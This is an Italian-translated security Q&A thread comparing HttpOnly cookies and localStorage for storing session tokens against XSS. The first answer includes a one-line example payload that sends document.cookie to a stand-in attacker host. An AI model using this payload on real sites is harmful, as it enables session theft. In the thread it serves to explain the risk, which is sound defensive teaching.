Perché i cookie sono considerati più sicuri contro XSS?

12

Questo articolo discute la memorizzazione dei token di sessione in un cookie vs in localStorage: link

L'articolo afferma:

Cookies, when used with the HttpOnly cookie flag, are not accessible through JavaScript, and are immune to XSS.

Tuttavia, se uno script inserito fa richieste con lo stesso origine (ad esempio chiamate API), i cookie vengono inclusi con esso. Quindi non importa se JavaScript non ha accesso ad esso.

La fine dell'articolo afferma:

Stormpath recommends that you store your JWT in cookies for web applications... HTML5 Web Storage is vulnerable to XSS...

I cookie e localStorage non sono vulnerabili a XSS? Con i cookie, l'utente malintenzionato non può recuperare il cookie e memorizzarlo, ma non è comunque necessario se è possibile autenticarsi utilizzando il cookie.

    
posta Leo Jiang 09.03.2016 - 10:21
fonte

2 risposte

8

Se sono presenti cookie non HttpOnly e l'utente malintenzionato potrebbe rubarli usando XSS in modo simile al seguente

<script>new Image().src='https://evil.example.com?+escape(document.cookie)'</script>

Questo è l'attacco più devastante se i token di sessione non sono protetti dal flag HttpOnly perché l'attaccante può semplicemente impostare il cookie nel proprio browser per accedere come vittima.

Se il flag HttpOnly è impostato, sì, possono ancora effettuare richieste AJAX usando il loro script iniettato, tuttavia questo è più difficile da eseguire e non fornisce al attacker il pieno controllo interattivo della sessione dirottata.

XSS è sempre una minaccia maggiore di CSRF. Anche con i cookie HttpOnly, l'utente malintenzionato potrebbe visualizzare un modulo di accesso che invia le credenziali all'autore dell'attacco una volta inviato. Inoltre, qualsiasi modulo che richiede un token CSRF può essere semplicemente richiamato dall'attacco XSS.

    
risposta data 10.03.2016 - 11:40
fonte
4

HttpSolo i cookie possono essere usati da un utente malintenzionato, nel senso che l'XSS potrebbe causare l'invio di richieste da parte del browser della vittima e tali richieste avrebbero cookie, ma i valori di tali cookie sono invisibili al attaccante. L'attaccante sta operando cieco in merito al valore di tali cookie.

Al contrario, l'archiviazione locale è (in base alla progettazione) leggibile da JavaScript. Non è incluso automaticamente nelle richieste, il modo in cui i cookie sono, ma a differenza dei cookie è impossibile nascondere i dati di archiviazione locale da un utente malintenzionato utilizzando un exploit XSS.

Quando utilizzarli dipende dai dati che stai memorizzando e dal tuo modello di minaccia. Se i dati che stai memorizzando sono intrinsecamente sensibili - qualcosa come un numero di sicurezza sociale - allora non dovrebbero essere memorizzati nel client, ma se devi assolutamente farlo, usa HttpOnly e Secure biscotto. Se i dati sono qualcosa come un token di autenticazione generato in modo casuale che non memorizza dati utente effettivi, è necessario archiviarli in un cookie per proteggerli dall'esposizione nel caso dell'XSS, ma è necessario anche una buona protezione CSRF (notare che XSS consentirà all'utente malintenzionato di aggirare la protezione CSRF, quindi è ancora essenziale prevenire anche XSS anche se l'utente malintenzionato non può rubare il valore del cookie). Se si tratta di molti dati o di dati necessari solo sul client o di dati che il server necessita solo occasionalmente, è opportuno inserirlo nella memoria locale.

    
risposta data 11.03.2016 - 03:49
fonte

Leggi altre domande sui tag